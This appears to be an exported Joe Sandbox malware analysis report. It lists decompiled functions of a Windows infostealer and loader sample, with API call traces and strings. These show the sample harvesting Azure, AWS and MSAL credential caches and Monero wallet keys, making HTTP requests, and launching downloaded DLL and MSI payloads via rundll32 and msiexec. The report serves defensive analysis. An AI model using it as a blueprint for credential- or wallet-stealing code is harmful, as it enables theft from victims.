Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: c8949976f589e4e98a292bf423720625dbd2cf614d98710a518b00b33f6a1f88
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: c8949976f589e4e98a292bf423720625dbd2cf614d98710a518b00b33f6a1f88
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0255D480), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

Azure\.azure, xrefs: 004148B3
\.aws\, xrefs: 0041492D
\.IdentityService\, xrefs: 004149B9
Azure\.IdentityService, xrefs: 004149CB
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
*.*, xrefs: 00414944
\.azure\, xrefs: 004148A1
*.*, xrefs: 004148B8
msal.cache, xrefs: 004149D0
Azure\.aws, xrefs: 0041493F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: f34b073d0bf326703eae5c88095b007a67f86f5416a0e6d2b15adf88e4e4de52
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: f34b073d0bf326703eae5c88095b007a67f86f5416a0e6d2b15adf88e4e4de52
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0257B740), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0257B6D0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0257B7A0,?,0257AD20,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404C42
------, xrefs: 00404CB9
------, xrefs: 00404B78
", xrefs: 00404D83
------, xrefs: 00404A0D

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: 8ad05db282345aa7a287dd439d150f75172824685b1d48d249f31657a4bb7b2f
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: 8ad05db282345aa7a287dd439d150f75172824685b1d48d249f31657a4bb7b2f
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,0255A628,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

?, xrefs: 00417E1A
%s\%s, xrefs: 00417EED
- , xrefs: 00418043

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 229a34cb7c2866d69f95cdc4ddc0229c6f5f61782d3d7cea4faf0875c4498218
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 229a34cb7c2866d69f95cdc4ddc0229c6f5f61782d3d7cea4faf0875c4498218
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0257B740), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0257AD20,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406457
ERROR, xrefs: 00406519

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: 4793de62a783022f6add9531db72223dbc22faa443d9ea50feaba0d17c8c1570
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 4793de62a783022f6add9531db72223dbc22faa443d9ea50feaba0d17c8c1570
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02555E18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415329
ERROR, xrefs: 00415116
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415173
ERROR, xrefs: 00415412
ERROR, xrefs: 0041525D

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: afd7b18e7da7be5832bfcd89e85e0c627a10a1a91c8b1c6a2b00d68955edf770
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: afd7b18e7da7be5832bfcd89e85e0c627a10a1a91c8b1c6a2b00d68955edf770
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

.msi, xrefs: 00412EA8
"" , xrefs: 00412BAA
<, xrefs: 00412FA0
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
.dll, xrefs: 00412CF5
/passive, xrefs: 00412F6B
/i ", xrefs: 00412EF4

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: b7c63ecea3e2443de4d2a98bb923b4dc32e07c7f52cf34bc1d50df9fbfcb7183
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: b7c63ecea3e2443de4d2a98bb923b4dc32e07c7f52cf34bc1d50df9fbfcb7183
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02558960,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3420786452-218353709
Opcode ID: f36938298e6ac6d1107e037b94d9d151851b59f4a54a2b2fcecb02b3479b55f0
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
